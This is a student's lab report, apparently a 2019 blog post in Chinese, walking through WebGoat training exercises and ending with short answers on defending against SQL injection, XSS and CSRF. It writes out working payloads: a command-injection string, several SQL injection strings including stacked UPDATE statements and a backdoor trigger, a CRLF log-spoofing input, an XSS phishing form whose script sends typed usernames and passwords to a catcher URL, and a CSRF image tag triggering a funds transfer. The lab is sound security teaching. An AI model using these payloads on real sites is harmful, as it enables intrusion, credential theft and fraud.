2016424王启元 Exp9 Web安全基础

一、实验内容

本实践的目标理解常用网络攻击技术的基本原理。完成Webgoat实践下相关实验。

二、实验步骤

1、Webgoat前期准备

从GitHub上下载jar包,并拷贝到本地

使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat

打开浏览器输入localhost:8080/WebGoat,使用默认名和密码登录WebGoat课程

2、SQL注入攻击

选择   Injection Flaws

Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。

右键选择Inspect Element进入调试界面,对源代码进行修改

选择在下拉列表的BackDoors.help后面加上"& netstat -an & ipconfig",其中netstat -an命令能看到所有和本地计算机建立连接的IP,而ipconfig可以查看本机IP信息

点击View,可看到命令的输出结果,即所有和本地计算机建立连接的IP和本机IP信息,攻击成功!

 

Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。

右键选择Inspect Element进入调试界面,对源代码进行修改

在选项列表中,任意选择一个值,比如101,后面加上or 1=1

可看见所有城市的天气状况

Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

在文本框中输入用户名yanhan%0d%0aLogin Succeeded for username: admin,其中%0d是空格,%0a是换行

String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。

在last name中输入' OR '1'='1,由于'1'='1'是永真式,所有的用户信息将会被输出

LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage

Stage1:String SQL Injection,即字符串注入

和上面的任务一样,在密码框中输入' or 1=1 --,可以在不知道密码的情况下登录账户Neville

Stage3:Numeric SQL Injection,即数字型注入

和上面的任务一样,修改网页代码中的value值,value值是员工ID,而要设置成老板的ID,可以使用排序来筛选信息,因为老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc --,就可以以员工身份查看老板的工资了

Database Backdoors,即数据库后门

在输入框中输入101; update employee set salary=55000可以更新员工工资,没有经过任何验证就可以简单更改数据表

同理可以设置增删查改语句对数据库进行操作

输入注入语句101; update employee set salary=18000

输入注入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='sxx@hackme.com'WHERE userid = NEW.userid

3、XSS攻击

Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。

先编写一个有用户名和密码输入框的表单

<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>

再编写onclick时对应的hack()函数

<script> function hack()

{

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

</script>

最后将两个代码综合在一起,直接输入搜索框,设计出一个简单的登录界面获取用户名和密码,并弹出警告框

4、CSRF攻击

跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。

查看右边列表参数,在title框中输入任意标题,在Message框中输入<img src="attack?Screen=380&menu=900&transferFunds=100000"/>,当满足Screen值为380,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。

 

四、实验总结:

通过本次实验让我更加深入的了解了XSS攻击、SQL注入以及CSRF攻击的理解,这让我明白网络攻击是防不胜防的,多样化的攻击。我们只有不断提高自己的网络防御意识和技术才能更可能的避免这些事情的发生。

实验后回答问题

1.SQL注入攻击原理,如何防御?

    • 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
      • 防御:
        • 关闭或删除不必要的交互式提交表单页面;
        • 对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
        • 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
        • 将数据库里的内容进行加密处理使其不具有特殊的意义。
    • 2.XSS攻击的原理,如何防御?
      • 原理:XSS:跨站脚本。攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
      • 防御:
        • 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
        • 网页制作者角度:对输入和URL参数进行过滤
    • 3.CSRF攻击原理,如何防御?
      • 原理:
        • CSRF :跨站请求伪造。
          CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
      • 防御:
        • 验证请求中的Token
        • 验证 Referer
        • 添加加随机验证
        • 设定cookie域

posted on 2019-05-26 13:59  王启元  阅读(153)  评论(0编辑  收藏  举报

导航